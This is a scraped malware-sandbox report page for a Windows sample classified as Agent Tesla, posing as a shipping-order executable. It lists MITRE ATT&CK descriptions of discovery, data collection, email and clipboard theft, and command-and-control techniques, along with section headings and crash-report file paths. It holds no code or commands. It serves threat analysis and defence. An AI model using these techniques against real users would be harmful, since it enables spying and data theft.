Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ShippingOrder_ GSHS2400052.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_ShippingOrder_ G_c05f69ea49c545b52540ede261d1523dc0c4da49_19f2bd8d_292068fc-b850-4303-bb11-dec50d1c5818\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER16C2.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER184A.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER18A9.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Windows Analysis Report
ShippingOrder_ GSHS2400052.exe

Function 01154806 Relevance: 2.7, Strings: 2, Instructions: 182
COMMON

Function 01154810 Relevance: 2.7, Strings: 2, Instructions: 180
COMMON

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre